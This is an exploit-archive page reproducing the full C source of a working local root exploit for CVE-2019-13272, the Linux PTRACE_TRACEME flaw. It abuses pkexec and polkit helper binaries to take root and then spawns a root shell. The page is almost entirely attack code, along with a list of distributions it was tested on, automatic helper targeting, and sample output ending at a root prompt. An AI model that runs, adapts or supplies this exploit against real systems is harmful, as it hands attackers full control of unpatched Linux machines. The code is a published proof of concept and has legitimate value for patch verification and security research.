ExploitFixes
Linux Kernel 4.10 < 5.1.17 - 'PTRACE_TRACEME' pkexec Local Privilege Escalation 2019-07-24 12:17:48

// Linux 4.10 &lt; 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// Uses pkexec technique
// ---
// Original discovery and exploit author: Jann Horn
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
// ---
// &lt;[email protected]&gt;
// - added known helper paths
// - added search for suitable helpers
// - added automatic targeting
// - changed target suid exectuable from passwd to pkexec
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
// ---
// Tested on:
// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
// - Ubuntu 19.04 kernel 5.0.0-15-generic
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
// - Linux Mint 19 kernel 4.15.0-20-generic
// - Xubuntu 16.04.4 kernel 4.13.0-36-generic
// - ElementaryOS 0.4.1 4.8.0-52-generic
// - Backbox 6 kernel 4.18.0-21-generic
// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
// - Kali kernel 4.19.0-kali5-amd64
// - Redcore 1806 (LXQT) kernel 4.16.16-redcore
// - MX 18.3 kernel 4.19.37-2~mx17+1
// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
// - Debian 9.4.0 kernel 4.9.0-6-amd64
// - Debian 10.0.0 kernel 4.19.0-5-amd64
// - Devuan 2.0.0 kernel 4.9.0-6-amd64
// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
// - Mageia 6 kernel 4.9.35-desktop-1.mga6
// - Antergos 18.7 kernel 4.17.6-1-ARCH
// ---
// [email protected]:~$ gcc -s poc.c -o ptrace_traceme_root
// [email protected]:~$ ./ptrace_traceme_root
// Linux 4.10 &lt; 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// [.] Checking environment ...
// [~] Done, looks good
// [.] Searching for known helpers ...
// [~] Found known helper: /usr/sbin/mate-power-backlight-helper
// [.] Using helper: /usr/sbin/mate-power-backlight-helper
// [.] Spawning suid process (/usr/bin/pkexec) ...
// [.] Tracing midpid ...
// [~] Attached to midpid
// To run a command as administrator (user &quot;root&quot;), use &quot;sudo &lt;command&gt;&quot;.
// See &quot;man sudo_root&quot; for details.
//
// [email protected]:/home/user#
// ---

#define _GNU_SOURCE
#include &lt;string.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;signal.h&gt;
#include &lt;stdio.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;sched.h&gt;
#include &lt;stddef.h&gt;
#include &lt;stdarg.h&gt;
#include &lt;pwd.h&gt;
#include &lt;sys/prctl.h&gt;
#include &lt;sys/wait.h&gt;
#include &lt;sys/ptrace.h&gt;
#include &lt;sys/user.h&gt;
#include &lt;sys/syscall.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;linux/elf.h&gt;

#define DEBUG

#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif

#define SAFE(expr) ({ \
typeof(expr) __res = (expr); \
if (__res == -1) { \
dprintf(&quot;[-] Error: %s\n&quot;, #expr); \
return 0; \
} \
__res; \
})
#define max(a,b) ((a)&gt;(b) ? (a) : (b))

static const char *SHELL = &quot;/bin/bash&quot;;

static int middle_success = 1;
static int block_pipe[2];
static int self_fd = -1;
static int dummy_status;
static const char *helper_path;
static const char *pkexec_path = &quot;/usr/bin/pkexec&quot;;
static const char *pkaction_path = &quot;/usr/bin/pkaction&quot;;
struct stat st;

const char *helpers[1024];

const char *known_helpers[] = {
&quot;/usr/lib/gnome-settings-daemon/gsd-backlight-helper&quot;,
&quot;/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper&quot;,
&quot;/usr/lib/unity-settings-daemon/usd-backlight-helper&quot;,
&quot;/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper&quot;,
&quot;/usr/sbin/mate-power-backlight-helper&quot;,
&quot;/usr/bin/xfpm-power-backlight-helper&quot;,
&quot;/usr/bin/lxqt-backlight_backend&quot;,
&quot;/usr/libexec/gsd-wacom-led-helper&quot;,
&quot;/usr/libexec/gsd-wacom-oled-helper&quot;,
&quot;/usr/libexec/gsd-backlight-helper&quot;,
&quot;/usr/lib/gsd-backlight-helper&quot;,
&quot;/usr/lib/gsd-wacom-led-helper&quot;,
&quot;/usr/lib/gsd-wacom-oled-helper&quot;,
};

/* temporary printf; returned pointer is valid until next tprintf */
static char *tprintf(char *fmt, ...) {
static char buf[10000];
va_list ap;
va_start(ap, fmt);
vsprintf(buf, fmt, ap);
va_end(ap);
return buf;
}

/*
* fork, execute pkexec in parent, force parent to trace our child process,
* execute suid executable (pkexec) in child.
*/
static int middle_main(void *dummy) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
pid_t middle = getpid();

self_fd = SAFE(open(&quot;/proc/self/exe&quot;, O_RDONLY));

pid_t child = SAFE(fork());
if (child == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL);

SAFE(dup2(self_fd, 42));

/* spin until our parent becomes privileged (have to be fast here) */
int proc_fd = SAFE(open(tprintf(&quot;/proc/%d/status&quot;, middle), O_RDONLY));
char *needle = tprintf(&quot;\nUid:\t%d\t0\t&quot;, getuid());
while (1) {
char buf[1000];
ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
buf[buflen] = '\0';
if (strstr(buf, needle)) break;
}

/*
* this is where the bug is triggered.
* while our parent is in the middle of pkexec, we force it to become our
* tracer, with pkexec's creds as ptracer_cred.
*/
SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));

/*
* now we execute a suid executable (pkexec).
* Because the ptrace relationship is considered to be privileged,
* this is a proper suid execution despite the attached tracer,
* not a degraded one.
* at the end of execve(), this process receives a SIGTRAP from ptrace.
*/
execl(pkexec_path, basename(pkexec_path), NULL);

dprintf(&quot;[-] execl: Executing suid executable failed&quot;);
exit(EXIT_FAILURE);
}

SAFE(dup2(self_fd, 0));
SAFE(dup2(block_pipe[1], 1));

/* execute pkexec as current user */
struct passwd *pw = getpwuid(getuid());
if (pw == NULL) {
dprintf(&quot;[-] getpwuid: Failed to retrieve username&quot;);
exit(EXIT_FAILURE);
}

middle_success = 1;
execl(pkexec_path, basename(pkexec_path), &quot;--user&quot;, pw-&gt;pw_name,
helper_path,
&quot;--help&quot;, NULL);
middle_success = 0;
dprintf(&quot;[-] execl: Executing pkexec failed&quot;);
exit(EXIT_FAILURE);
}

/* ptrace pid and wait for signal */
static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
struct user_regs_struct regs;
struct iovec iov = { .iov_base = &amp;regs, .iov_len = sizeof(regs) };
SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
SAFE(waitpid(pid, &amp;dummy_status, 0));
SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &amp;iov));

/* set up indirect arguments */
unsigned long scratch_area = (regs.rsp - 0x1000) &amp; ~0xfffUL;
struct injected_page {
unsigned long argv[2];
unsigned long envv[1];
char arg0[8];
char path[1];
} ipage = {
.argv = { scratch_area + offsetof(struct injected_page, arg0) }
};
strcpy(ipage.arg0, arg0);
for (int i = 0; i &lt; sizeof(ipage)/sizeof(long); i++) {
unsigned long pdata = ((unsigned long *)&amp;ipage)[i];
SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
(void*)pdata));
}

/* execveat(exec_fd, path, argv, envv, flags) */
regs.orig_rax = __NR_execveat;
regs.rdi = exec_fd;
regs.rsi = scratch_area + offsetof(struct injected_page, path);
regs.rdx = scratch_area + offsetof(struct injected_page, argv);
regs.r10 = scratch_area + offsetof(struct injected_page, envv);
regs.r8 = AT_EMPTY_PATH;

SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &amp;iov));
SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
SAFE(waitpid(pid, &amp;dummy_status, 0));
}

static int middle_stage2(void) {
/* our child is hanging in signal delivery from execve()'s SIGTRAP */
pid_t child = SAFE(waitpid(-1, &amp;dummy_status, 0));
force_exec_and_wait(child, 42, &quot;stage3&quot;);
return 0;
}

// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *

static int spawn_shell(void) {
SAFE(setresgid(0, 0, 0));
SAFE(setresuid(0, 0, 0));
execlp(SHELL, basename(SHELL), NULL);
dprintf(&quot;[-] execlp: Executing shell %s failed&quot;, SHELL);
exit(EXIT_FAILURE);
}

// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *

static int check_env(void) {
const char* xdg_session = getenv(&quot;XDG_SESSION_ID&quot;);

dprintf(&quot;[.] Checking environment ...\n&quot;);

if (stat(pkexec_path, &amp;st) != 0) {
dprintf(&quot;[-] Could not find pkexec executable at %s&quot;, pkexec_path);
exit(EXIT_FAILURE);
}
if (stat(pkaction_path, &amp;st) != 0) {
dprintf(&quot;[-] Could not find pkaction executable at %s&quot;, pkaction_path);
exit(EXIT_FAILURE);
}
if (xdg_session == NULL) {
dprintf(&quot;[!] Warning: $XDG_SESSION_ID is not set\n&quot;);
return 1;
}
if (system(&quot;/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no &gt;&gt;/dev/null 2&gt;&gt;/dev/null&quot;) != 0) {
dprintf(&quot;[!] Warning: Could not find active PolKit agent\n&quot;);
return 1;
}
if (stat(&quot;/usr/sbin/getsebool&quot;, &amp;st) == 0) {
if (system(&quot;/usr/sbin/getsebool deny_ptrace 2&gt;1 | /bin/grep -q on&quot;) == 0) {
dprintf(&quot;[!] Warning: SELinux deny_ptrace is enabled\n&quot;);
return 1;
}
}

dprintf(&quot;[~] Done, looks good\n&quot;);

return 0;
}

/*
* Use pkaction to search PolKit policy actions for viable helper executables.
* Check each action for allow_active=yes, extract the associated helper path,
* and check the helper path exists.
*/
int find_helpers() {
char cmd[1024];
snprintf(cmd, sizeof(cmd), &quot;%s --verbose&quot;, pkaction_path);
FILE *fp;
fp = popen(cmd, &quot;r&quot;);
if (fp == NULL) {
dprintf(&quot;[-] Failed to run: %s\n&quot;, cmd);
exit(EXIT_FAILURE);
}

char line[1024];
char buffer[2048];
int helper_index = 0;
int useful_action = 0;
static const char *needle = &quot;org.freedesktop.policykit.exec.path -&gt; &quot;;
int needle_length = strlen(needle);

while (fgets(line, sizeof(line)-1, fp) != NULL) {
/* check the action uses allow_active=yes*/
if (strstr(line, &quot;implicit active:&quot;)) {
if (strstr(line, &quot;yes&quot;)) {
useful_action = 1;
}
continue;
}

if (useful_action == 0)
continue;
useful_action = 0;

/* extract the helper path */
int length = strlen(line);
char* found = memmem(&amp;line[0], length, needle, needle_length);
if (found == NULL)
continue;

memset(buffer, 0, sizeof(buffer));
for (int i = 0; found[needle_length + i] != '\n'; i++) {
if (i &gt;= sizeof(buffer)-1)
continue;
buffer[i] = found[needle_length + i];
}

if (strstr(&amp;buffer[0], &quot;/xf86-video-intel-backlight-helper&quot;) != 0 ||
strstr(&amp;buffer[0], &quot;/cpugovctl&quot;) != 0 ||
strstr(&amp;buffer[0], &quot;/package-system-locked&quot;) != 0 ||
strstr(&amp;buffer[0], &quot;/cddistupgrader&quot;) != 0) {
dprintf(&quot;[.] Ignoring blacklisted helper: %s\n&quot;, &amp;buffer[0]);
continue;
}

/* check the path exists */
if (stat(&amp;buffer[0], &amp;st) != 0)
continue;

helpers[helper_index] = strndup(&amp;buffer[0], strlen(buffer));
helper_index++;

if (helper_index &gt;= sizeof(helpers)/sizeof(helpers[0]))
break;
}

pclose(fp);
return 0;
}

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *

int ptrace_traceme_root() {
dprintf(&quot;[.] Using helper: %s\n&quot;, helper_path);

/*
* set up a pipe such that the next write to it will block: packet mode,
* limited to one packet
*/
SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
char dummy = 0;
SAFE(write(block_pipe[1], &amp;dummy, 1));

/* spawn pkexec in a child, and continue here once our child is in execve() */
dprintf(&quot;[.] Spawning suid process (%s) ...\n&quot;, pkexec_path);
static char middle_stack[1024*1024];
pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
if (!middle_success) return 1;

/*
* wait for our child to go through both execve() calls (first pkexec, then
* the executable permitted by polkit policy).
*/
while (1) {
int fd = open(tprintf(&quot;/proc/%d/comm&quot;, midpid), O_RDONLY);
char buf[16];
int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
buf[buflen] = '\0';
*strchrnul(buf, '\n') = '\0';
if (strncmp(buf, basename(helper_path), 15) == 0)
break;
usleep(100000);
}

/*
* our child should have gone through both the privileged execve() and the
* following execve() here
*/
dprintf(&quot;[.] Tracing midpid ...\n&quot;);
SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
SAFE(waitpid(midpid, &amp;dummy_status, 0));
dprintf(&quot;[~] Attached to midpid\n&quot;);

force_exec_and_wait(midpid, 0, &quot;stage2&quot;);
exit(EXIT_SUCCESS);
}

int main(int argc, char **argv) {
if (strcmp(argv[0], &quot;stage2&quot;) == 0)
return middle_stage2();
if (strcmp(argv[0], &quot;stage3&quot;) == 0)
return spawn_shell();

dprintf(&quot;Linux 4.10 &lt; 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n&quot;);

check_env();

if (argc &gt; 1 &amp;&amp; strcmp(argv[1], &quot;check&quot;) == 0) {
exit(0);
}

/* Search for known helpers defined in 'known_helpers' array */
dprintf(&quot;[.] Searching for known helpers ...\n&quot;);
for (int i=0; i&lt;sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
if (stat(known_helpers[i], &amp;st) == 0) {
helper_path = known_helpers[i];
dprintf(&quot;[~] Found known helper: %s\n&quot;, helper_path);
ptrace_traceme_root();
}
}

/* Search polkit policies for helper executables */
dprintf(&quot;[.] Searching for useful helpers ...\n&quot;);
find_helpers();
for (int i=0; i&lt;sizeof(helpers)/sizeof(helpers[0]); i++) {
if (helpers[i] == NULL)
break;

if (stat(helpers[i], &amp;st) == 0) {
helper_path = helpers[i];
ptrace_traceme_root();
}
}

return 0;
}